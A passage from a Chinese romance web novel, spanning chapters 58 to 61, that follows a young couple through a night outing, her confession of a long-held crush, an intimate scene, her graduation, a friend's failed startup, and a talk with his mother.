见时间实在是过分长了,祁砚寒率先松开了手,轻哄着人去了车上,知道她心情不佳,他开着车子一路朝着江边驶去。 裴知悯感觉不对:“不先回去?” 祁砚寒说:“不着急。” 裴知悯看着窗外快速消失的夜景:“那现在去哪儿?” “私奔。” “敢吗?” 说实在的,那时裴知悯是有那么一刻想逃离的。 她认真地点头:“敢。” 祁砚寒闷声笑了下:“逗你的。” 半开的窗户里,急切的风扫了进来,在耳旁呼呼作响,她听见他嗓音含笑—— “带你去兜风。” 第58章 第58章他比想象中的动心更早 走过喧哗的市区,四周慢慢平静下来,车窗被完全降下,风全数灌了进来。 车里面,他们都没出声。 祁砚寒踩着油门,一路开到了滨江路,晚风裹挟着江面的水汽扑面而来,清爽柔和,裴知悯伸出手,感知着它们的形状。 街灯迷离昏黄,落在散步和赶路的人身上,或快或慢的脚步,都装着生活。 车辆从他们身边经过,朝着滨江路的尽头驶去,走过这一带,车朝着雾浮山上开着,彻底远离城市喧嚣后,风愈发凉爽了,却依旧绵软柔和,吹过脸庞让人心旷神怡,她的心情不知不觉就平复了下来。 祁砚寒一直留意着后视镜,察觉到她凝重的表情舒展下来,暗自松了一口气。 车辆一路开到了雾浮山的山脚,山林静寂,空气格外清新,路上没什么人,只有几家做生意的店还开着灯,四周静悄悄的,鸟鸣啁啾。 停下车,祁砚寒侧身看她,轻声问:“高兴了吗?” 裴知悯心头畅快不少:“还行。” 祁砚寒握着她的手,语气平常:“那想想等会儿吃什么。” 这话题跳的太快,裴知悯本她以为他会先问她发生什么事了,不曾想却是这么一句“无关紧要”的问题。 “你饿了吗?”她反问道。 祁砚寒淡笑:“还行,主要是担心你饿。” 裴知悯想了两秒:“那我们回去吧。” 祁砚寒轻轻摩挲着她的手背,说道:“不急,再坐会儿。” 山林静谧,他们静静地坐在车里,听着鸟雀的叫声,偶有清风拂来,只一刹那的功夫,风就吹过去了。 “好想做一阵风啊。”裴知悯忽地感慨。 一高兴就出现,一不开心就可以立马躲起来。 祁砚寒握着她的手,想了两秒:“也挺好。” 她难得较真:“怎么好?” 祁砚寒说得认真:“一吹就能扑进我怀里。” 裴知悯轻轻笑了。 看见她笑,祁砚寒总算松了一口气。 夜色渐深,他们在山上没待多久就下来了。 湖边有个集市,一路过去,会看见各种小吃摊,还有卖花卖手工品的,散步的行人经过,总有摊主会喊一嗓子:“瞧一瞧看一看嘞!便宜实惠!好吃不贵!” 走过江岸,祁砚寒找了个空地停车,对面的路边有几个老人家,席地而坐,应该是在休息,有人打开了随身听放歌,那是周华健的《有没有一首歌会让你想起我》。 老人满目慈祥,从容歌唱,他们的声音平淡温和,好像唱的不是歌词,而是自己的人生,周围有两三个为歌声而驻足的路人,安静地听着,到了那句“有没有那么一首歌,会让你轻轻跟着和”,周围的人都跟着唱了起来。 那一瞬间,裴知悯莫名就看开了 。 人生要经历的事这么多,哪有过不去的坎,大不了就唱歌好了。 停了车,他们下去吃饭,裴知悯挑了一家露天餐厅,环境简约古朴,对面就是湖,清白的月光照在湖面上,像是诗里所写的“滟滟随波千万里”。 忙了一天,裴知悯的肚子早空了,上了菜,她吃得很专心。 祁砚寒没怎么动筷子,就一直给她添菜。 “你别光给我夹,”裴知悯蹙了下眉,笑着给他夹菜,“你也快吃饭。” 瞧见她的表情又生动起来,祁砚寒不由地弯起了唇角,低头吃菜。 晚风轻缓,拂过湖面,推出了一圈圈的波纹,湖的周围,有不少骑着单车吹风的年轻男女,铃声从远处飘了过来。 “叮——” 侧面的角落,有人在调试话筒声音,大概是来驻唱的歌手要开始工作了。 已到半饱,裴知悯放了筷子,看向一旁的人,眨眼问:“你怎么不问问我发生什么事了?” “大概能猜到,”祁砚寒如实说,“工作上的事吧。” 裴知悯点了点头,声音低了两分:“我今天搞砸事情了。” 祁砚寒拧了下眉:“严重吗?” 幸好前辈把稿子截下来了,没有造成经济上的损失。 裴知悯叹息道:“差点酿成大祸。” 祁砚寒眉头拧紧。 裴知悯简单把事情说了说,又偏了一点身体,将肩膀靠上他的肩膀,道出心里话:“在公司加班的时候,我感觉一点用都没有,捅出了这个大个篓子,还拖累了其他同事的进度。” 祁砚寒宽慰道:“但你补救得很好。” 裴知抿了抿唇,未曾言语。 祁砚寒摸了摸她的头发:“往好的方面想,这事没有接,总归是一次经验,就当作历练了。” 裴知悯刚才就想通了这个道理,但从他口中说出,她还是会感觉通透温暖。 她忽然想起,从前外公也是这么对她说的。 裴知悯蓦地难过起来。 侧前方的空地,支着话筒架和高脚椅,驻唱歌手在上面唱粤语歌,裴知悯听不懂,但依旧被曲调吸引住了,后程她靠在他的肩上,听完了一整首。 这首唱完,陆续有人点歌了。 祁砚寒顺势问了她一句:“想听什么歌?” 裴知悯摇头:“没有。” 今天有酒,她倒了一杯,浅浅酌着,边喝边听歌。 祁砚寒摩挲了下她的肩头:“等我一下。” 说着他起身去了那边,以为他是过去点歌的,裴知悯低头,继续吃饭,吃了两口菜,耳边忽地传进一句低沉慵懒的“这是一首简单的小情歌”,她一下怔住了,抬头去看,祁砚寒站在人群前方,身姿挺拔,淡定地唱着—— “这是一首简单的小情歌,唱着我们心头的白鸽 我想我很适合,当一个歌颂者,青春在风中飘着。 你知道就算大雨让这座城市颠倒, 我会给你怀抱。” 裴知悯一瞬间被戳中了,扬起笑容,静静地注视着他。 那是她第一次知道,他唱歌这么好听。 在这样一个宁静的夜晚,微风轻拂,裴知悯听着温暖的歌,可以一下忘却那些烦忧事,只想沉醉在他的歌里。 一曲终了,餐厅里的人自发地报以掌声。 等到他回来,裴知悯还是又惊又喜的表情,忍不住问:“你怎么想起去唱歌了啊?” 祁砚寒懒散地坐在椅子上,侧眸看她:“哄个姑娘开心。” 裴知悯眉眼弯起,四下瞧了圈,眨眼问他:“哪个姑娘啊?这周围都是姑娘。” 祁砚寒舔了下牙根,揽上她的肩:“不好意思,我眼里只有一个姑娘,就是我女朋友。” 裴知悯笑了笑,眼睛亮晶晶的:“你女朋友说,你唱歌还挺好听。” 祁砚寒没有谦让地“嗯”了声,说完又凑到她面前要她亲他一口作为奖励,公众场合呢,裴知悯拍了下他的胳膊,偏头躲开了。 后面祁砚寒没再逗她,一心陪着她吃饭听歌,裴知悯却始终在想那个“奖励”,当时她本来只是当玩笑来说的,不曾想有一天真会实现,她心乱如麻,直接喝了两杯酒。 祁砚寒去结完账回来,看见她脸上的红晕,稍微吃了一惊,又不动声色地牵着人往外走,出去迎面扫来一阵风,裴知悯有几步路都没走稳。 “怎么一会儿没见,”祁砚寒稍显头疼,失笑道,“就成醉鬼了。” 裴知悯拂开他的手,气鼓鼓道:“你才是醉鬼。” 说完她歪歪扭扭地朝反方向走着,祁砚寒闷闷笑了,抬脚跟上去,走出十几米,她一屁股坐在了长椅上,他去到她身边的位置,刚坐下,肩上就靠来了个毛茸茸的脑袋。 “醉了没?”祁砚寒伸出一只手在她眼前晃了晃,“这是几?” 裴知悯撇了撇嘴:“五。” 祁砚寒轻笑了一声,垂眸凝视着她,喝了酒,裴知悯的脸上泛着浅浅的酡红,整个人看起来娇憨极了。 路灯暖黄,把他们的影子拖得很长,这条街很空荡,他们在这儿坐了好半天都没人经过,周围静得只有风声。 裴知悯捏紧手掌,像是在做最后的挣扎,半晌,她闭上眼睛,轻声说:“上次我说,你如果在外面唱歌赢得满堂彩,我就告诉你那本杂志里,哪一张插画是我画的。” 祁砚寒怔了下,“嗯”了一声。 “我画画有个笔名,”裴知悯声音很轻,默了两秒,才缓缓说,“叫远山。” “取自杨万里的诗:远山不见我,而我见远山。” 祁砚寒低头看她。 “你不知道,”裴知悯枕着他,笑着说,“我微博现在有五万粉丝呢。” 祁砚寒笑道:“这么厉害?” 裴知悯轻哼了下,沉默须臾,她深吸了一口气,声音隐隐有些哽咽了:“我再跟你说个秘密吧。” 祁砚寒隐约意识到了什么,说不出一句话。 “我喜欢你,”裴知悯说出这几个字时,声线都颤了一下。 学生时期,她把这四个字隐藏得格外的好,好到全世界除了她,一个人都不知道。 那些与他相关的相逢与离别,酸涩与喜悦,都是她心底的晦涩难言,如今她一字一字地说了出来,好像感觉,也没有这么难。 裴知悯自顾自地笑了下:“很多年了,比你刚刚举起的那一只手的数字都大,你大概不知道吧。” 祁砚寒嗓子一哽,不知道该说什么。 “但后来,我们过着各自的人生,再无关联,”裴知悯慢慢说,“我觉得,我也应该向前走了。” 她恋旧而不守旧,那些为他怦然心动的岁月,就停留在那里吧,足够熠熠生辉了。 这话里的意思祁砚寒当然听得懂。 裴知悯没有再讲了,后来的故事,他已经知道了。 夜晚的风清凉舒缓,她的头发被吹起,挡在了眼睛上,她闭着眼,睡得很安稳。 祁砚寒轻声叹息,拨开那几缕头发,露出那张素净的小脸,寂静的夜里,他们依偎在一起,远远看去,男人的眼里盛满了柔软,看怀里的人像在看一件珍宝。 这张脸,在他们毫无关联的那几年里,他也记得很清晰,或许他早就该承认了,他比想象中的动心更早。 第59章 第59章“你这是在勾我你知道吗?”…… 燥热的风吹起来,又是一年夏天。 六月中的时候,祁砚寒又去了趟北京,彼时的蒋琛沧桑了许多,青黑胡茬冒了一片,人也瘦了,二十六岁看起来像三十六岁。 他们坐的餐厅生意很好,店里客人谈笑风生,点过餐,两个男人松散地坐着,相顾无言。 今天的天气很好,阳光热烈,普照大地。 蒋琛脸上的阴郁很明显,这轮融资失败了,公司断了资金链,今后是举步维艰。 沉默半晌,蒋琛挤着笑先开口打趣道:“你这大忙人怎么天天往北京跑啊?你们投行在北京的分公司换领导了?” 祁砚寒听着他故作轻松的语调,几不可察地皱了皱眉,冷笑道:“你少跟我来这一套。” 蒋 琛敛了敛笑意。 祁砚寒直奔主题:“现在打算怎么办?” 没了资金,他的公司运转不起来,技术又卡着不能投入市场,这情况用不了多久就是死路一条。 蒋琛从烟盒里摸出一支烟咬着,摸出打火机点燃,他吸了一口,轻扯唇角道:“还能怎么办?熬呗。” 祁砚寒眸光深沉:“你觉得你能熬多久?” 蒋琛沉沉地吐出一口烟圈:“能熬多久就熬多久,总归会有办法的。” 祁砚寒眉头轻拧:“你自己信吗?” 蒋琛微微笑了下,脸上的凝重却丝毫没有减弱:“车到山前必有路。” 这话不知道是说给他听还是说给自己听的。 祁砚寒静了片刻,缓缓道:“你们公司的现金流,向银行贷款不会很容易。” 蒋琛眼皮一跳,拿下嘴里的烟,转过头看向窗外,透过玻璃窗,能看见他公司的一角,拼搏了这么多年,付出了全部青春与汗水才拥有的两层楼,让他就这样放弃,他不甘心。 祁砚寒暗自叹息了声,拿出一份文件推过去:“我从投资与回报的角度,把你公司的情况做了个分析,你看完再决定吧。” 蒋琛接过那份文件,却没有翻开来看,只是道:“谢了。” 祁砚寒看着他,点到为止:“你好好想想。” 蒋琛狠吸了一口烟,低沉道:“知道了。” 夏天来临,窗外的国槐树葳蕤繁茂,花开满树,风吹花落。 这时菜呈上来了,蒋琛按灭烟,笑着道:“不说这些了,先吃饭吧,吃完这顿兄弟我就真是穷人一个了。” 祁砚寒嗤笑:“放心,我请。” 蒋琛无力地笑了声。 一顿饭吃完,还没到六点,地平线上,太阳已经偏西,金黄的阳光依旧刺眼。 “我现在反正闲人一个,”蒋琛闲散道,“这两天带你逛逛北京?” 祁砚寒摇头:“等会七点半的飞机。” “这么着急?” 祁砚寒淡淡道:“有事。” 蒋琛扯唇一笑,一语道破:“想回去看裴知悯吧。” 祁砚寒没有避讳,轻笑着“嗯”了声。 明天是她的毕业典礼,他要回去参加。 付了钱,祁砚寒结账离开。 蒋琛没着急离开,忙里偷闲地欣赏着远处的日落,一望无际的粉色天空,铺着大朵的积云,这么好的景色,不知何时还能见到。 到了机场,祁砚寒给裴知悯打了个电话,铃声响了两秒,显示忙音。 那时裴知悯正在加班,她的失误没给新闻社带来实质性的损失,工作还是保得住的,但她更加仔细谨慎了。 今天临时来了个稿子要发,社里的人都在盯着点脑,裴知悯的手机放在桌面上和人通话,她都没注意到他的来电。 弄完事情,天已经暗下来了。 裴知悯回了学校,还没开始洗漱,宿舍意外地停水了,她打车去了祁砚寒那里,这几天他出差,家里的发财树都被遗忘了,浇完水,她纠结起了明天的典礼穿哪件旗袍。 还没开始试,门上忽地传来了动静,裴知悯心头疑惑,走出房间,和门口的男人凌空碰上眼神,两人都有点愣了。 裴知悯惊喜道:“你怎么回来了?” 祁砚寒关上门进来,边换鞋边说:“工作提前处理好了。” “哦哦,”裴知悯猛地想起什么,拉着他往客厅里走,“你回来的正好,帮我看一下我明天穿哪件好。” 说完她“哒哒哒”地跑进房间里,抱出来几件旗袍,摆在沙发上。 祁砚寒眉梢微挑,引诱道:“光看应该不好说,要不你试给我看看?” 裴知悯的关注点只在选择旗袍上,丝毫没注意到他话里的深意,也忘了从前说的“谁要穿给你看”,拿上条旗袍就往浴室走。 祁砚寒靠在沙发上,点了支烟,一边抽一边等她。 五分钟后,她换好出来。 裴知悯身材纤瘦,该有肉的地方却一点不含糊,素雅的月牙白色旗袍,衬出了她玲珑的曲线,窈窕又动人,透着一股女人的妩媚。 祁砚寒眼神一亮,喉结不可抑制地滚了滚。 裴知悯紧张地在他面前转了两圈:“这件好看吗?” 祁砚寒深吸了一口烟:“好看。” 裴知悯莞尔,眼睛亮晶晶的:“我再去换别的。” 祁砚寒眼神黯了两分:“好。” 没几分钟,她又换好一套出来问他怎么样,祁砚寒点头又说好看,一连试了五件,他都是这样说的,裴知悯感觉不对,怎么他看完后更难选了? 末了还是她自己拿的主意,选择了虞净奶奶给她做的那件。 此时的祁砚寒眼神已经变得深不可测,一根烟燃尽,他心头的燥火更甚,裴知悯没察觉到,换上了最初的旗袍,在客厅的穿衣镜前,仔细瞧了瞧这一身。 祁砚寒靠在沙发椅背上,紧盯着镜子里的她,目光浓稠,裴知悯满意地转过身,朝他走了几步,说:“就这件了嗷。” 这无异于是羊入虎口。 祁砚寒沉默,抬眸看她,眼里欲望明显。 对视的那一刹那,裴知悯猛地反应过来,想跑却被他伸手一拦,带进了怀里,温热的吻紧随其后地落在了唇角,她急忙道:“你别……” 刚一张口,他的唇舌就侵入进来,堵住了她的话,这个吻来得凶猛激烈,裴知悯胸腔里的空气很快被夺尽,她喘着气将手抵在他的胸前,保持理智道:“别亲了,我要去洗澡。” 祁砚寒咬着她的唇瓣闷声笑了,含混道:“我也还没洗,正好一起。” 说着他拦腰把人抱进浴室,抵在洗手台前,握着她纤细的腰,再度压了下来,吻得又深又重,他身上的烟草气味清冽干净,让人迷恋,裴知悯逐渐沉沦,推他肩头的手慢慢搂在他的后颈。 宽敞的浴室,男女的喘息声交叠响起,听得人面红耳赤。 祁砚寒解开旗袍衣领和前襟的扣子,顺着脖颈曲线倾轧往下亲着,旗袍布料柔软光滑,和她肌肤一样的触感,男人埋在她颈间粗喘,说的话色气又下流:“上次我就想,你那些旗袍迟早要穿给我看。” 裴知悯耳根发烫,在他腰间拧了一把,祁砚寒皱眉“嘶”了声,捉住她的腕子,声音沉了两分:“你这是在勾我知道吗?” 裴知悯一僵,瞬间老实,靠在他的怀里平复呼吸。 旗袍盘扣很多,他不熟练,解了四颗就花了很长时间,看见还有一半,祁砚寒都想骂人了,男人咬着牙,呼吸沉重:“怎么这么多扣子。” 看他这样心急又无奈的样子,裴知悯忍不住轻笑了声。 眉眼含情的人,溢出的声音又轻又娇,跟催。情似的,祁砚寒喉咙一紧,翻过她的身子,压在洗手台前,旗袍裙摆堆叠在腰间,那截白皙的腰微弯,弓起的弧度优美漂亮,男人看的眼热,胡作非为起来。 浴室没开花洒,台前的镜子仍旧洁净,他们的姿态被一览无余,裴知悯身体颤抖,头一直埋着,祁砚寒俯身到她耳边,哑声诱哄:“抬头看看?” 裴知悯羞赧,死死咬住唇,左右摇头,男人低哑地笑了声,为所欲为,她全身都是软的,湿着眼,明亮的光线慢慢变得模糊起来。 浴室里水声淋漓,地板上,他们的衣服乱成一派,像是这场风月事。 缠绵许久,男人才餍足,把人抱着去洗澡,裴知悯筋疲力尽,由着他折腾了,只是她入睡的前一秒,还在想她的旗袍。 祁砚寒亲了下她的发端,低声说:“我给你烘干。” 裴知悯迷糊地“嗯”了声,沉沉睡了过去。 次日清早,她是被吹风机的响声吵醒的,她缓慢睁开眼,卧室的窗帘飘起一个弧度,窗外天很蓝,祁砚寒在小阳台上给她吹裙子。 裴知悯看了一会儿,想下床收拾,一动就感知到了身体的酸软,想起他昨晚的为所欲为,她就一阵脸红。 吃过早餐,祁砚寒和她一起去了南大。 毕业典礼在礼堂举行,仪式隆重,校长致辞完毕,便是学位授予仪式,结束后,大家纷纷和导师同学拍照留念 。 裴知悯走到闻霏面前,真诚道:“闻老师,感谢您这三年来的照顾和教导。” 闻霏轻拍了下她的手臂:“毕业快乐。” 拍照时,她把祁砚寒也喊来了,裴知悯站在中间,手里拿着证书,祁砚寒她的左手,握在掌心,裴知悯心里一暖。 摄影师在前面喊:“看镜头,微笑。” 三个人齐齐看向镜头。 毕业典礼结束,裴知悯的学业生涯就告一段落了,宿舍里的东西需要搬走,收拾好行李,祁砚寒送她回了家。 下了车,裴知悯推着箱子走进小区,进了门,就看见一道熟悉的人影,裴知悯定睛一瞧:“爸,你怎么在这儿?” 裴振轻咳了一声,晃了晃手里的袋子:“你妈妈叫我下来买瓶酱油。” 裴知悯轻“哦”了一声。 裴振伸出手,接过她的行李箱,推着往前走时,问道:“男朋友?” 裴知悯顿了下,承认了。 裴振想了两秒:“谈了有几个月了吧?” 裴知悯点了点头,又惊讶道:“你怎么知道?” “上次你妈妈在商场看见你们了,”裴振笑道,“你还躲她不是?” 裴知悯不好意思地低了低头。 “我姑娘眼光挺好啊,那小伙子长得挺俊,”裴振像是在,旁敲侧击地打听道,“认识多久了?” “挺久了,”裴知悯说,“他是我高中隔壁班的同学。” 裴振:“南城人吗?” “嗯。” 裴振放下心来:“先处着吧,要是合适,你再带到我们面前来。” 裴知悯默了片刻,应道:“好。” 第60章 第60章让早晚的事提早发生 裴振和苏英早就知道裴知悯谈恋爱的事,只是没有摆在明面上说。 但这晚过后,这事就没再避讳了。 热浪滔天的夏天,桂花树又要开了。 实习结束是在七月中旬,那天下了班,她去赴了林泽民的约,来的人还有时苒李淮川。 傍晚的天气一般,一眼望去都看不见一片云。 他们刚坐下点过餐,林泽民就来了一个电话,他歉然地留下一句“你们先吃”便出去了,时苒不由感叹道:“大家都好忙啊,连见面都要挤时间,再也回不到当初天天见的日子了。” 裴知悯颇为赞同地叹了口气。 那时候放学,大家告别都是说的“明天见”“下次见”,自从毕业后,才知道成年后的见面是这么困难的事。 裴知悯看了眼四人桌空着的那个位置,看向时苒:“李淮川不来吗?” 时苒喝了一口水:“他去出差了。” 裴知悯叹息:“可惜了。” 时苒眨了眨眼睛,想到什么:“你男朋友怎么也没来啊?” 裴知悯笑着道:“我们聚餐,他来做什么?” 说完她感觉颇为耳熟。 前天晚上,林泽民发来消息,说要不要喊祁砚寒一起,她去问他时,那人拒绝得很快,说辞也是这句。 时苒托着腮:“我想象不出来你们在一起该得多么般配,就想着一睹为快。” 裴知悯抿唇笑了。 林泽民这时回来了,好奇道:“在聊什么?这么高兴。” 时苒:“天机不可泄露。” 林泽民淡然一笑。 “话说,”时苒打量了下他,八卦道,“你都单身二十五六年了,没想过脱单啊?” 林泽民平平一笑:“你怎么知道我没想?” 时苒故意找茬:“你光想没用,要落实在具体行动上。” 林泽民淡定地看向她:“我可没说我没有落实。” 两个女生反应了几秒,同时睁大眼。 后面菜上来,时苒一直在问林泽民的事,林泽民依然惜字如金,裴知悯在旁边看着他们一问一答,忽然感觉很神奇,过了这么久,大家其实还和年少一样。 一顿饭吃完,暮色已经四合,路灯亮了起来,他们都还有事,三人在门口就此别过,裴知悯倒是无事一身轻,沿着街道悠然地散着步,走到转角,遇见了一对中年男女“吵架”,她瞧见那两个人,霎时怔住了。 隔了一段路,裴知悯没听见他们说了什么,只看见祁宏的姿态放得很低,伸手去拉面前的人,手还没挨到就被闻瑾拂开了,她侧过脸看向一旁,明显的不耐烦。 裴知悯看着他们剑拔弩张的样子,有些不知所措,就这样站了半分钟,一场雨突然降临,她回过神,面向街道招手打车,还没打到,雨先大了起来,她发梢已经被打湿了。 一把伞忽然撑在她的头上,裴知悯扭头去看,诧异道:“阿姨?” “没带伞吗?”闻瑾看了眼她被打湿的衣领,环顾四周道,“先去那边的咖啡店坐会儿吧,正好躲雨。” 雨点噼里啪啦地砸了下来,沉闷厚重。 店里温暖明亮,空气中浮动着一层苦甜的咖啡香气,裴知悯头上还有雨水,闻瑾递去纸巾,她接过来:“谢谢。” “别客气,”闻瑾说。 裴知悯简单擦了几下,服务员过来了,问她们喝什么,点过热饮,闻瑾开口道:“抱歉啊,刚才让你见笑了。” 裴知悯愣了一秒。 “刚才那个男人是我前夫,也是阿砚父亲,”闻瑾说,“我们离婚好多年了,今晚是因为他喝了酒口不择言,我才发了脾气。” 裴知悯抿出个笑:“我理解的。” 室内安静,片刻的沉默都很显得很漫长。 裴知悯不经意地一瞥,就看见闻瑾的包旁边放着一袋药,问道:“阿姨,您身体不不舒服吗?” “没事,腰上的老毛病了,”闻瑾吸了一口气,握紧双手,“阿砚跟你说过我们家的情况吧?” 裴知悯点头:“说过一点。” 窗外的雨下得很大,她们的咖啡上来了,闻瑾端起杯子抿了一口,多说了几句:“我和他父亲离婚时,因为财产分割闹得很不愉快,那段时间家里天天吵架,偏巧又临近他的高考,他没发挥好,有我的责任。” 裴知悯握着杯壁,却没感受到多少热量。 “后来有一次,他父亲失手把我推上了桌角,导致我在医院躺了半个多月,他也在医院陪了我半个多月,后来我出院了,他住进去了,”闻瑾目光遥远,声音低缓,“那两年,我腰伤要定期去医院复查,家里没人他不放心,瞒着我报了南城大学,这么多年了,这也是我的遗憾。” 裴知悯心头不是个滋味,看着闻瑾说不出来话。 “我说得多了,”闻瑾扯出一个笑容,“你别介意。” 裴知悯低头道:“不会的。” “你淋了雨,回去后记得喝杯姜茶,”闻瑾关切道,“感冒就不好了。” 裴知悯笑:“好。” “我看的出来,他很喜欢你,”闻瑾握着她的手,笑着道,“你俩好好的。” 裴知悯笑着应了声,不好意思地垂了垂眸。 一场雨来得快,去得也快,这会儿就没听见雨声了。 闻瑾要去赶八点的飞机,咖啡一半没喝到就走了,裴知悯一个人坐在店里,发了很久的呆,门口的冷风一阵一阵地吹进来,等到咖啡完全被吹冷了,她才走出店里,彼时祁砚寒刚到门口。 裴知悯静静地注视着他,对视几秒,她抬脚先朝他走过去,伸手抱住了他。 祁砚寒愣了下,轻声问:“怎么了?受欺负了?” 裴知悯埋在他的怀里,小幅度地晃了晃头。 祁砚寒试探道:“工作累了?” 裴知悯又摇了摇头。 她一般心情不好的时候,就是这样沉默不语的样子,祁砚寒没再问了,伸手抱紧了她,只是咖啡店里出入的顾客不少,他们在门口这样旁若无人的抱着,让很多人都投来了视线。 祁砚寒低头凑近她耳边,故意逗她:“想抱的话我们回去抱行吗?大街上呢,影响不好。” 此话一出,怀里的人立刻退后了几步,和他保持适当的距离。 祁砚寒哑然失笑,走过去牵她,一碰才发现,她 的手冰凉,他握紧她的手,往车边走。 下过雨,晚风清凉地扑了过来,路上没什么人,这条街很安静,都能听到不远处广场舞的音乐声,一场雨扰乱了好些店的生意,一连几家,店主都坐门前喝酒闲聊,倒是一家蛋糕店前,围了好些人。 祁砚寒:“想吃蛋糕吗?心情不好可以吃点甜的。” 裴知悯看了眼橱窗里那些看起来特别好吃的甜点,摇了摇头:“晚上吃了要胖。” 祁砚寒失笑:“只吃一块的话,没有关系。” 裴知悯默了片刻,还是坚持己见,事实上,她现在心里发热,脑袋也有点重,吃不下什么东西。 他们继续往前走着,有个调皮的小孩,在这场雨里淋成了落汤鸡,全身脏兮兮的,他爸抓着他的后颈教育他,从他们身旁经过时,祁砚寒很轻地笑了下。 裴知悯捕捉到了,问他:“你笑什么?” 祁砚寒:“幸好你不是贪玩的小孩。” 裴知悯抿了抿干涩的唇,小声哼了下,心情平静下来后,她刚想说正事,祁砚寒的手机便响了,闻瑾打来的,他按下接听:“喂,妈。” 闻瑾临时有事要回事务所总部,走得急还没跟他说,于是才有了这通电话,简单提了两句,她说起了刚才发生的事。 “我最后走的时候,看她面色不太好,可能是我说的话吓到她了,你等会哄哄人家。” 祁砚寒看了眼身边的人,心头顿时明了。 那会儿裴知悯的脑袋更沉了,眼皮都在打架。 “知悯是个好姑娘,你要负责,”闻瑾说,“我可等着她做我儿媳妇。” 祁砚寒嗓音含笑:“嗯。” 手机那头传来了机场的登机提示,闻瑾很快就挂了电话,祁砚寒收了手机,笑着看她:“怎么办?” 离得这么近,闻瑾的话自动地飘进了她耳朵,但裴知悯意识混乱,只零碎地听见了句“好好对人家”,她眨着眼:“什么怎么办?” “你没听见吗?” “什么?” 祁砚寒笑意加深:“我妈说要你做她儿媳妇。” 裴知悯仔细回忆了下,有这么一句话吗? 祁砚寒缓缓凑近她:“你怎么看?” 裴知悯眼神迷蒙,望着他不说话,祁砚寒察觉不对劲,伸手去摸她额头,隐隐发烫。 想起这段时间她的工作强度很大,今晚淋了雨又吹风,应该是没撑住。 祁砚寒心里一紧,上了车,他径直往医院开,幸好只是低烧,医生说只用挂一瓶水就好。 夜里的医院寂静无声,祁砚寒给她盖好被子,坐在椅子上看,输液输到一半,苏英打来了电话,铃声急促,祁砚寒瞥见备注的那两个字,还是拿上手机去外面说明了情况。 后面雨又落了下来,断断续续,忽大忽小。 输完这瓶水,祁砚寒把人带回了家,裴知悯睡得很沉,眉头紧皱,看起来不太开心,祁砚寒抚平她的眉心,没一会儿又皱紧了,他叹口气,握紧她的手守在床边。 次日是个雨后初霁的晴日,温热的阳光洒在床头,裴知悯缓缓睁开眼,祁砚寒坐在床边睡着,身上的衬衫解开了两粒扣,头发凌乱,有些不修边幅。 裴知悯环看了下四周,慢慢坐起来,一动,祁砚寒就睁开了眼,把人扶起来,又把床头柜上的水递过去,等她喝完,他才问:“头还晕吗?” 嗓音很哑。 裴知悯轻轻摇了摇头:“我没事。” 房间光线充足,面朝着阳光身心都是暖洋洋的。 坐了会儿,裴知悯下床洗漱,祁砚寒去阳台抽了半支烟,随后走进卧室换衣服,穿好后,她正好从浴室出来。 祁砚寒:“收拾好了就走吧。” 裴知悯一头雾水:“去哪儿?” 祁砚寒不急不缓:“见家长。” 裴知悯“啊”了身,脚都不动了。 祁砚寒好整以暇地靠在墙上,一本正经地逗她:“昨晚我妈说让你做她儿媳妇,你点头了,还记得吗?” 裴知悯一愣,仰面看他:“你说是就是啊?” 仰起来的这张脸小巧素净,漂亮的眼眸里写满了倔强,祁砚寒低笑了一声,低头顺势在她唇上落下一吻,声调懒洋洋的:“早晚都是。” 裴知悯脸颊微红,嗔了他一眼:“大清早的耍流氓。” 祁砚寒应下来,站直身体,不再开玩笑了:“昨晚你妈妈打了电话,我和她说了你晚上睡我这儿,今天再把你送回去。” 裴知悯“哦”了一声。 太阳从东方升起,又是崭新又寻常的一天,宽广的路上,车辆川流不息。 到了她家小区门口,裴知悯推门下去,正好碰见拎着一袋菜回来的苏英,祁砚寒和她打了个照面,想到他昨晚照顾了自家闺女一夜,她便喊他留下吃个饭,祁砚寒说还有工作婉拒了。 空气清新,风轻柔地吹过来。 苏英关心了几句她的身体情况,又问了些祁砚寒的情况,回到家,裴知悯给祁砚寒发了条消息:“今天周六还要去上班啊?” 他回得很快:“那可不,要挣钱。” 裴知悯蹙眉:“你不缺钱吧?” 阳光洒满桌面,鸟鸣呖呖,裴知悯看着这一行字,有点缓不过神来。 “想让早晚发生的事提早发生。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第61章 第61章(正文完)相爱的…… 二零二三年的这个夏天,格外闷热又格外短暂,一晃就过去了。 进入仲秋,南城温度直降,冷的人直打哆嗦,那几天全国各地几乎都在降温,只有北京还停留在夏天,气温虽没下降,但街头总会掀起几阵狂风,扬起大片灰尘,行人戴着口罩低着头,步履匆忙,在这之中却有个男人,步伐从容,随意地走着。 把公司解散,蒋琛慢悠悠地走到公交站台,等了十来分钟,他坐上车,又去爬了次长城,一路登顶,他很有心情地拍照发了朋友圈。 远在各地的这几个看见时,内心一阵唏嘘。 一个月后,蒋琛回到南城,那是他创业之后第一次在年前回来,公司垮了,他在北京也没什么留恋了,他一个人来这里,又一个人走,这座城市繁华如梦,像是他从来没来过。 蒋琛回来后,卫旭经常约他吃饭,约了几次都被他借口有事拒绝了,他觉得不太对,给祁砚寒打了个电话。 彼时祁砚寒正要去一个饭局,知道情况,他什么都没说,只是脚步停了。 卫旭担心道:“他声音听起来不怎么好,话也不多,而且,他现在大门不出二门不迈的,你说他要是想轻生怎么办……” 越说越离谱了。 祁砚寒赶紧打断道:“你想多了。” 卫旭适时闭了嘴。 祁砚寒沉吟片刻:“喻臣过几天休假回来,到时候让他去喊,他好不容易回来一趟,应该比你有面子。” 卫旭:“行。” 挂了电话,祁砚寒走上二楼,一顿饭吃完,都是下午的事了,从包厢出来,他点了支烟,一面抽一面下楼,到了大厅,天上忽地飘起了雪花,他抽着烟,静静地望向外边,一根烟燃尽,雪也下大了,在地上铺了一层,很多人都在拍照,人群中有小孩子兴奋地喊道:“这是今年的初雪诶!” 祁砚寒也拍了几张雪景照,发给裴知悯。 “西安的初雪。” 裴知悯是一个小时后才看见他的消息,照片里大雪纷扬,铺天盖地,长这么大,她只在青城见过这么大的雪。 窗外冷风呼嚎,惹得树枝摇晃。 裴知悯刚回复完消息,祁砚寒的电话就进来了。 “在干嘛?”他问。 “刚画完画,”裴知悯关了平板,躺在沙发里,“你呢?” 祁砚寒合上电脑:“看股票。” 裴知悯“哦”了一声,又问:“你那边雪还在下吗?” 祁砚寒看向窗外:“在,但是小了许多,想看吗?” “不用,”裴知悯问他,“你什么时候回来?” 祁砚寒默了几秒,低声道:“想我了?” 